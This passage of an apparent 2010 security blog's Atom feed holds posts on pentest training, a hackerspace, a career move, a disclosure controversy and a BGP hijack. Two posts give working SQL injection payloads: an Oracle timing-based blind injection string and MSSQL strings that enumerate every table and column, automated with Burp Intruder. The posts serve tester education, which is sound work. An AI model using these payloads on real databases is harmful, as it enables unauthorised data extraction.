competent, and was good at getting ideas across. The labs were, for the most part, well done. It did a fairly good job of preparing me for the CEPT cert, but certainly didn't give you all the answers in advance.&amp;nbsp; Also, the staff at Infosec Institute are great people and very helpful. There were a few complications that arose during the course of ordering, receiving and doing the training. Minh Nguyen and Steve Drabik over there could not have been more helpful in getting these issues sorted out. They were also very patient with the man who kept annoying them every other week ;) . i am already looking at their &lt;a href="http://www.infosecinstitute.com/courses/expert_penetration_testing_training.html"&gt;&lt;span class="graytext1"&gt;Expert Penetration Testing: Writing Windows Exploits&lt;/span&gt;&lt;/a&gt; and their &lt;a href="http://www.infosecinstitute.com/courses/reverse_engineering_training.html"&gt;Reverse&lt;/a&gt; &lt;a href="http://www.infosecinstitute.com/courses/advanced_reverse_engineering_malware.html"&gt;Engineering &lt;/a&gt;classes for the future.&amp;nbsp; Although I am worried about repeating material, especially since Infosec Institute does come with a rather high price tag.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;My advice to anyone in the industry who is itnerested in developing these skills more, would be to take the &lt;a href="http://www.infosecinstitute.com/courses/advanced_ethical_hacking_training.html"&gt;"Advanced Ethical Hacking"&lt;/a&gt; course and&amp;nbsp; the CEPT cert. If nothing else, it will be fun.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_XO4oPTSf_6U/TJoAj4khYZI/AAAAAAAAAAM/u8iB1cHS1VY/s1600/cept-logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_XO4oPTSf_6U/TJoAj4khYZI/AAAAAAAAAAM/u8iB1cHS1VY/s320/cept-logo.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-7537355032814332983?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/7537355032814332983/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/09/cept-exam-practical.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7537355032814332983'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7537355032814332983'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/09/cept-exam-practical.html' title='The CEPT Exam Practical'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_XO4oPTSf_6U/TJoAj4khYZI/AAAAAAAAAAM/u8iB1cHS1VY/s72-c/cept-logo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-7255894267773833971</id><published>2010-09-21T14:14:00.000-07:00</published><updated>2010-09-21T14:14:37.491-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hackerspace'/><category scheme='http://www.blogger.com/atom/ns#' term='lockpicking'/><category scheme='http://www.blogger.com/atom/ns#' term='charlotte'/><category scheme='http://www.blogger.com/atom/ns#' term='hackers'/><title type='text'>Projects Worthy of Praise: Hackers Unite</title><content type='html'>It has been a while since i have last posted. I come to bring you news of two different projects. I am very excited about both of these. The first one is one I am actually involved in directly: A &lt;a href="http://www.meetup.com/Hackerspace-Charlotte/"&gt;Hackerspace&lt;/a&gt; &lt;a href="http://hackspace.pwn.me/twiki/bin/view"&gt;in Charlotte North Carolina&lt;/a&gt;. This idea sort of got kicked off by one of my coworkers, who started investigating it&amp;nbsp; after visiting &lt;a href="http://032.la/"&gt;Nullspace Labs in LA&lt;/a&gt;. He asked if I was interested, and soon after we began investigating potential spaces.&lt;br /&gt;&lt;br /&gt;We had our first meetup last week, and to our surprise 25 people showed up to it. The reaction was astoundingly positive. We have a good assortment of software and hardware hackers. We have developers, pentesters, robotics people etc. Everyone there seemed genuinely committed to the idea. Our next meeting is tonight, although I am going to have to miss this one. So if you live in the greater Charlotte area and are interested in participating, please come check us out.&lt;br /&gt;&lt;br /&gt;The other &lt;a href="http://www.kickstarter.com/projects/schuyler/lockpicks-by-open-locksport/"&gt;project&lt;/a&gt; I wanted to mention is being done by &lt;a href="http://schuylertowne.com/aboutme.php"&gt;Schuyler Towne&lt;/a&gt;. He is attempting to start his own lockpick business, and has used kickstarter to try and raise initial funds. He had a goal of about $6,000, and has so far raised over $68,000. Depending on your donation level you will receive some absolutely fabulous prizes including custom lockpicks, practice locks, templates, and more. If you are at all interested in the sport or science of picking locks, do yourself a favour and get on board with this. It is an amazing deal, and people like this deserve community support anyways. There are only 71 hours left to get onboard as a backer!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-7255894267773833971?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/7255894267773833971/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/09/projects-worthy-of-praise-hackers-unite.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7255894267773833971'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/7255894267773833971'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/09/projects-worthy-of-praise-hackers-unite.html' title='Projects Worthy of Praise: Hackers Unite'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-2423020121874967053</id><published>2010-07-26T10:32:00.000-07:00</published><updated>2010-07-26T10:32:58.233-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='training'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='review'/><title type='text'>Infosec Institute Advanced Ethical Hacking</title><content type='html'>A while ago I made a post about&amp;nbsp;&lt;a href="http://www.infosecinstitute.com/"&gt;Infosec Institute's&lt;/a&gt;&amp;nbsp;&lt;a href="http://www.infosecinstitute.com/courses/10day_penetration_testing_training.html"&gt;10 Day Penetration Testing Course&lt;/a&gt;&amp;nbsp;. I had some not so great things to say about the first half of the course. I think, in retrospect, the first week would be good for someone&amp;nbsp;just&amp;nbsp;starting out in the field to get their feet wet. There are some things I&amp;nbsp;definitely&amp;nbsp;think I would change, to bring it more in line with that concept, but it's hard for me to judge since I was already outside of that target audience. I have finally had the time to delve into the second week of the training course. This portion of the course focuses on the real meat and potatoes of penetration testing and exploiting. There is still some tool-centric material at the&amp;nbsp;beginning, but the course jumps pretty quickly into the good stuff. It starts covering program memory structure, and how buffer overflows really work. Pretty soon you find yourself writing basic shellcode, and doing memory analysis to perform true exploits.&lt;br /&gt;&lt;br /&gt;There are ties back to tools, but mostly in how they can make your life easier. Everything this part f the course covers is done manually before they show you how to use a tool. In my opinion, this is exactly what they should be doing. I do not have an assembly background so some of this is valuable information I have been missing so far. From buffer overflows it moves on to format strings and heap overflows. There are sections on on fuzzing, fault injection and more that I have not gotten to yet. I hope to be finishing up the course in the next few days.&lt;br /&gt;&lt;br /&gt;There are some benefits to the online version of this course, such as being able to set your own pace. That being said, I think this particular course would be worth paying the extra money for the classroom experience. These are much more complicated topics than the first week, and if you don't already have experience in assembly and memory structure you may find yourself wanting to ask questions that you will have to answer all on your own. There is nothing wrong with this, of course, but I personally prefer active discussion to simply reading things online.&lt;br /&gt;&lt;br /&gt;All in all, my impression of the second half of this training is very different from the first. Anyone who has experience with penetration testing, but wants to delve into the real&amp;nbsp;heart&amp;nbsp;of the subject should take a course like this.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-2423020121874967053?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/2423020121874967053/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/07/infosec-institute-advanced-ethical.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2423020121874967053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2423020121874967053'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/07/infosec-institute-advanced-ethical.html' title='Infosec Institute Advanced Ethical Hacking'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-6948073958267646665</id><published>2010-07-25T11:43:00.000-07:00</published><updated>2010-07-25T11:43:43.330-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><title type='text'>Moving on and Moving Up</title><content type='html'>The&amp;nbsp;inevitable&amp;nbsp;has happened. I am leaving my current job, and moving on to a new company. I am very excited about this new opportunity. The company I am going to work for seems like a great place to work. However, this will be the first time my family has moved to a&amp;nbsp;location&amp;nbsp;where we don't know anybody. We will have no friends and no family there. This is the part of this field that isn't so great. Jobs tend to crop up in very specific places, and you have to be ready to pick up and move in order to not lose a great opportunity. It was a hard decision to sacrifice all the personal reasons to stay in favour of all the professional reasons to move. We have family, and friends here that we love very much. We like this area after being&amp;nbsp;here&amp;nbsp;only two years. My&amp;nbsp;children&amp;nbsp;will no longer be able to see their grandparents so often. However I will be moving to a larger, more mature company, in &amp;nbsp;a great area. The team I will be working with is full of very bright people who take this work very seriously. Even more&amp;nbsp;importantly, the members of my new team know lots of things I don't. I will be working to learn a lot from them, and that is something I am eager to start doing.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Robert_Khoo"&gt;Robert Khoo&lt;/a&gt;&amp;nbsp;over at&amp;nbsp;&lt;a href="http://www.penny-arcade.com/"&gt;Penny Arcade&lt;/a&gt;&amp;nbsp;said something in one of their tv episodes, that has stuck with me since. He told a potential employee "To be successful at something, to be like the best of breed at something, means you make sacrifices.I would say nine times out of ten, that means your social life, and that is how you get amazing at something." I think that this is&amp;nbsp;extremely&amp;nbsp;true. Nobody ever got to be the best at something by putting in the &lt;i&gt;same &lt;/i&gt;amount of effort as everyone else. You get to be the best by putting in more effort than everyone else, and working as hard as you possibly can. I don't know if I can ever be the best at what I do, but I won't stop trying until I am. I have a long way to go before I can be the next &lt;a href="http://ha.ckers.org/"&gt;RSnake&lt;/a&gt;, &lt;a href="http://lcamtuf.coredump.cx/"&gt;lcamtuf&lt;/a&gt;, or Tavis Ormandy. The best part of being in this field is that those very people I wish to be better than, will help me along the way. It may not be in a big way, but each of those three people have helped me grow already. Each of them have even taken the time to reply to emails and blogposts. &amp;nbsp;These are people who will honestly share ideas and knowledge. That, more than anything else, is what makes this field great. So look out guys, one day soon you may be reading a white paper with my name on it. In the meantime I just want to say thank you to all of you, as well as &lt;a href="http://blogs.technet.com/b/markrussinovich"&gt;Mark Russinovich&lt;/a&gt;&amp;nbsp;over at Microsoft, for taking time out of busy lives to answer a few stupid questions from somebody you've never heard of...yet.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-6948073958267646665?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/6948073958267646665/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/07/moving-on-and-moving-up.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6948073958267646665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6948073958267646665'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/07/moving-on-and-moving-up.html' title='Moving on and Moving Up'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-2183117681002020074</id><published>2010-06-26T12:12:00.000-07:00</published><updated>2010-06-27T09:52:38.888-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tavis Ormandy'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><category scheme='http://www.blogger.com/atom/ns#' term='Full Disclosure'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>Tavis Ormandy's Full Disclosure: Just the facts ma'am</title><content type='html'>Everybody has been talking about &lt;a href="http://taviso.decsystem.org/"&gt;Tavis Ormandy&lt;/a&gt;'s&amp;nbsp;&lt;a href="http://seclists.org/fulldisclosure/2010/Jun/205"&gt;disclosure&lt;/a&gt;&amp;nbsp;of a &lt;a href="http://www.microsoft.com/technet/security/advisory/2219475.mspx"&gt;Windows Help Centre Vulnerability&lt;/a&gt;. There has been very heated debate going around. In some&amp;nbsp;cases&amp;nbsp;the word debate is a little generous. There has been a lot of name calling, mud slinging, and general ad hominem nonesense. People are trashing Tavis, Microsoft, and even Robert Hansen now. It's gotten a little out of hand. What I have noticed is a lack of real substantiated facts in these arguments. To that end, I have made an effort to contact both involved parties, Tavis Ormandy, and the MSRC. I am hoping that they will be willing to respond with some of the facts surrounding this&amp;nbsp;occurrence., and maybe we'll&amp;nbsp;hear&amp;nbsp;a little bit of&amp;nbsp;tempered&amp;nbsp;truth, instead of everyone's emotionally charged bickering. Of course, the chances that either Tavis or the MSRC will be bothered to respond to me are probably not great, here's hoping.&lt;br /&gt;&lt;br /&gt;UPDATE: I have heard back from Mr. Ormandy. He was very polite but has stated that he would prefer to let the issue rest than answer anymore questions. Since I am unable to present his side of the argument, even if I were to hear comment back from Microsoft, I would feel it impossible to present an unbiased view here. therefore I shall just let it drop. Perhaps that is really what we all just need to do. If you think he was right, then silently cheer him on, if you think he was wrong admit that maybe he made a mistake, and move on.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-2183117681002020074?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/2183117681002020074/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/06/tavis-ormandys-full-disclosure-just.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2183117681002020074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2183117681002020074'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/06/tavis-ormandys-full-disclosure-just.html' title='Tavis Ormandy&apos;s Full Disclosure: Just the facts ma&apos;am'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-2379075630090389863</id><published>2010-06-23T10:56:00.000-07:00</published><updated>2010-06-23T10:56:42.129-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><title type='text'>Oracle Blind SQL Injection : Timing Based Attack using Heavy Queries</title><content type='html'>This is a neat little trick my mate and I just learned about while testing an Oracle based application with a blind SQL Injection vector in it. It is not new by any means, nor did we discover it. Check out the defcon presentation that gave us the starting point, &lt;a href="http://www.defcon.org/images/defcon-16/dc16-presentations/defcon-16-alonso-parada.pdf"&gt;here&lt;/a&gt;. Conventional wisdom would have you&amp;nbsp;believe&amp;nbsp;that you cannot do timing based blind sqli against oracle, since there's no waitfor delay. What we have done is unioned in a query that, when true initiates a secondary 'heavy' query to the database. What we mean by&amp;nbsp;heavy&amp;nbsp;is that it tries to pull a lot of data, purposely slowing down the response time. Let's take a look at our example:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;NULL UNION ALL SELECT SOME_FIELD_1 AS COL1,&amp;nbsp;SOME_FIELD_2 AS COL2,((CASE WHEN EXISTS(SELECT SOME_FIELD_3 FROM SOME_TABLE_2 WHERE 0&amp;gt;(select count(*) from all_users t1, all_users t2,all_users t3,all_users t4) AND 1=1) THEN 'own' ELSE 'pwn' END)) as COL3 FROM SOME_TABLE_1,SOME_TABLE_2&amp;nbsp;,DUAL WHERE &lt;original ending="" paremeters="" query=""&gt;--&lt;/original&gt;&lt;/blockquote&gt;&amp;nbsp;This shows us a true example which should trigger based on the 1=1. So for this query we will see a noticeable delay over the same query with 1=1 replaced by 1=2. that tells us that a true condition will take much&amp;nbsp;longer&amp;nbsp;to reply now. So all we have to do is replace the simple 1=1/1=2 structure with our own test parameters. This is where you get into&amp;nbsp;inserting&amp;nbsp;your counts,lengths, and ascii(substr portions and slowly and methodically enumerate out every last bit of data in the system. This is a great technique to sue when other Blind Injection techniques fail.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-2379075630090389863?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/2379075630090389863/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/06/oracle-blind-sql-injection-timing-based.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2379075630090389863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2379075630090389863'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/06/oracle-blind-sql-injection-timing-based.html' title='Oracle Blind SQL Injection : Timing Based Attack using Heavy Queries'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-145031501544174485</id><published>2010-06-07T11:58:00.000-07:00</published><updated>2010-06-07T11:58:59.589-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='burp'/><title type='text'>SQL Injection Tip of the Day: Table and Column enumeration in a single row</title><content type='html'>I will be getting around to putting together a comprehensive cheat sheet for sql injection. In the meantime, I figured I would release bits and pieces that I have found particularly useful. Today I want to talk about getting database schema metadata from Microsoft SQL Server 2005 and 2008(the technique may be&amp;nbsp;slightly&amp;nbsp;different for 2000).&lt;br /&gt;&lt;br /&gt;This assumes you already have a sql inejction vector that allows serialisation of queries and union queries, and that the db user has create rights,&amp;nbsp;although&amp;nbsp;it can be modified to use update/insert into existing tables instead. So let's say you have found a sql injection&amp;nbsp;vulnerability, but it will only return one row of results. That makes it an exceptionally arduous task to&amp;nbsp;enumerate&amp;nbsp;all the tables and their columns, one at a time. You can concatenate rows very easily, but you can't use concatenation against columns. This is where arrays come in to save the day. The first step is to inject a string like this:&lt;br /&gt;&lt;br /&gt;';CREATE TABLE CT1 (tablenames VARCHAR(8000));DECLARE @tablens varchar(7999); SELECT @tablens=COALESCE(@tablens+';' , '') + name from dbo.sysobjects where xtype='U'; INSERT INTO CT1(tablenames) Select @tablens;--&lt;br /&gt;&lt;br /&gt;Remember to encode as needed. This creates a new table called CT1 with a max size varchar as it's only column. It then creates an array called tablens, and selects the entire name column from dbo.sysobjects where the object is a user table. Finally it inserts the array in semicolon delimited format into our newly created table.&lt;br /&gt;&lt;br /&gt;Then we just do something silly like:&lt;br /&gt;' UNION Select tablenames,@@rowcount,@@servername,1,2,3,4,5 from CT1;DELETE from CT1;--&lt;br /&gt;&lt;br /&gt;This of course returns the results, and clears the table out from behind us. We should now have all of the tablenames in this database. Using that we use the same attack&amp;nbsp;vector, just slightly tweaked:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;';DECLARE @tablens varchar(7999); SELECT @tablens=COALESCE(@tablens+',' , '') + name from syscolumns where id=object_id('Table1'); INSERT INTO CT1(tablenames) Select @tablens;--&lt;br /&gt;and&lt;br /&gt;' UNION Select tablenames,@@rowcount,@@servername,1,2,3,4,5 from CT1;DELETE from CT1;--&lt;br /&gt;&lt;br /&gt;Now what I did, after making sure it worked, was to create a quick perl script. This perlscript took the list of tablenames, and custom generated the above attack strings for each table and put them into a text file. I then&amp;nbsp;loaded&amp;nbsp;this file into Burp Intruder as a custom payload, and&amp;nbsp;let&amp;nbsp;it run. Burp has&amp;nbsp;enumerated&amp;nbsp;almost&amp;nbsp;all of the tables in a couple of minutes(this db had over 100 tables). Then it's&amp;nbsp;just&amp;nbsp;a matter of dumping all the results somewhere and pouring over it. Using this method, you can go from your proven sql injection vector to a map of the whole database in a very short&amp;nbsp;amount&amp;nbsp;of time.&lt;br /&gt;&lt;br /&gt;And as ever, this showcases why &lt;a href="http://portswigger.net/suite/"&gt;Burpsuite Pro&lt;/a&gt; is a tester's best tool. How I ever worked without it is a mystery.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-145031501544174485?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/145031501544174485/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/06/sql-injection-tip-of-day-table-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/145031501544174485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/145031501544174485'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/06/sql-injection-tip-of-day-table-and.html' title='SQL Injection Tip of the Day: Table and Column enumeration in a single row'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-5746759023387759492</id><published>2010-05-27T11:41:00.000-07:00</published><updated>2010-05-27T11:41:42.990-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='CEH'/><category scheme='http://www.blogger.com/atom/ns#' term='certification'/><category scheme='http://www.blogger.com/atom/ns#' term='rants'/><title type='text'>Training courses - Nerd steroids</title><content type='html'>A few years ago when I was trying to break free of the more mundane trappings of IT, I decided to take some&amp;nbsp;certifications. I began with compTIA and took my Network+ and Security+ exams. Imagine my surprise when these&amp;nbsp;certification&amp;nbsp;exams took me no more than 15 minutes apiece to ACE. They were so easy it became&amp;nbsp;embarrassing&amp;nbsp;to tell people that i had bothered to take them. I have considered many times going for my CCNA and CCSP but never gotten around to it. I am now in the process of taking a 10day course from &lt;a href="http://www.infosecinstitute.com/"&gt;infosecinstitute&lt;/a&gt;. This course is&amp;nbsp;actually&amp;nbsp;comprised of two courses jammed together into a single bootcamp. I am doing the online version of the course, unable to get my&amp;nbsp;company&amp;nbsp;to buy in for the additional costs of actually attending a physical class. these courses are centered around the CEH, CPT, and CEPT&amp;nbsp;certifications. I am not very far into the first week of material and I am starting to get that sinking feeling again.&lt;br /&gt;&lt;br /&gt;I don't want to bad mouth infosecinstitute and it's training...at least not yet. However, the entire first day was&amp;nbsp;essential&amp;nbsp;an introduction into using vmware and linux. They do this because they want to be able to cater to people who might not have experience in&amp;nbsp;those&amp;nbsp;areas. My question is, what are such people doing taking courses on pentesting? If you don't know how to set up a VM, or how to kill a process in linux, you've got a long way to before you can be a pentester, and it is going to take a lot longer than two weeks. This is where the steroid analogy comes in. People seem to approach these classes as a quick fix, rather like steroids. "If I take this class, i&amp;nbsp;will&amp;nbsp;learn to be a 1337 h4x0r".&lt;br /&gt;&lt;br /&gt;DarkNet has a&amp;nbsp;&lt;a href="http://www.darknet.org.uk/2010/05/elearnsecurity-online-penetration-testing-training/"&gt;post&lt;/a&gt;&amp;nbsp;about training courses right now too. In it he talks about how the CEH is pathetic(I am inclined to agree so far) and then talks about a few other courses/certs. Frankly speaking, these look much the same as every other one I've looked at. They seem&amp;nbsp;tantalizing&amp;nbsp;at first, then you&amp;nbsp;realize&amp;nbsp;it's the same recap bullshit and you learn nothing new.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Let's give up on steroids guys, and start thinking about some workout regimens. I want to see training courses out there that say outright "If you don't know what the different kinds of vulnerabilities are, or if you don't know how to find SQL injection, xss etc...don't take this class" Let's have some classes that start with "So you know how to find some&amp;nbsp;vulnerabilities, let's talk about advanced techniques, and things you never&amp;nbsp;thought&amp;nbsp;to try&amp;nbsp;before". Let's talk about how you&amp;nbsp;maximize&amp;nbsp;your extraction from a SQL injection, or what things work in Oracle or in MSSQL, or U2, or Sybase etc. Let's talk about some advanced encoding tricks, and how to pack javascript to get around filters. Let's talk about writing shellcode to try and exploit in a buffer overflow.&lt;br /&gt;&lt;br /&gt;I am tired of having to rehash the same crap over and over again. Then I read what things &lt;a href="http://ha.ckers.org/"&gt;RSnake&lt;/a&gt; or someone else is up to. I stop and think "hrm, what are they doing differently than me. What do they do better than me. Why?" I want to see training courses that answer those questions. I want something that says "okay, you're a pentester. now let me show you how the big boys do it"&lt;br /&gt;&lt;br /&gt;Anyways, that is my rant for the day. Stay tuned as I am going to be working on putting together a bit of a SQL Injection cheat sheet in the coming weeks. I hope to have something&amp;nbsp;comparable&amp;nbsp;to &lt;a href="http://ha.ckers.org/xss.html"&gt;RSnake's XSS cheat sheet&lt;/a&gt; and a lot&amp;nbsp;better&amp;nbsp;than the other ones I've seen.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-5746759023387759492?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/5746759023387759492/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/05/training-courses-nerd-steroids.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5746759023387759492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5746759023387759492'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/05/training-courses-nerd-steroids.html' title='Training courses - Nerd steroids'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-6676635013912447865</id><published>2010-05-24T15:16:00.000-07:00</published><updated>2010-05-24T15:16:36.616-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='censorship'/><category scheme='http://www.blogger.com/atom/ns#' term='cyberwar'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Pakistan and the cyber-jihad?</title><content type='html'>Wow, I have been out of touch with current events and have been playing catch up a little. I just &lt;a href="http://www.zdnet.com/blog/threatchaos/pakistan-removed-from-the-internet/548"&gt;read&lt;/a&gt; &lt;a href="http://www.zdnet.com/blog/threatchaos/pakistan-declares-war-on-youtube/547"&gt;about&lt;/a&gt; Pakistan's own ISP PieNet taking down youtube. Apparently there has been a big battle of wills between the Pakistani government and sites like youtube, facebook, and our own beloved blogger.com. Well the Pakistani government mandated that these sites be blocked. So PieNet decided to send out BGP announcements for youtube, redirecting traffic to themselves....brilliant. aside from the stupidity of this approach( as they slammed themselves with all of the youtube traffic and then got cutoff by their upstream provider) this is pretty amazing. I am not aware of anything quite like this incident happening before.&lt;br /&gt;&lt;br /&gt;An actual&amp;nbsp;legitimate&amp;nbsp;ISP has blatantly and purposefully launched a denial of service attack on one of the biggest sites on the Internet, over their views on censorship. They are basically committing an act of cyberwarefare in the closest sense that the term can be applied. Cyberwarfare, in my opinion, can't really be a part of true physical&amp;nbsp;conflict. It is exactly this kind of scenario, a war of ideas. Pakistan's policy has become one of attacking the 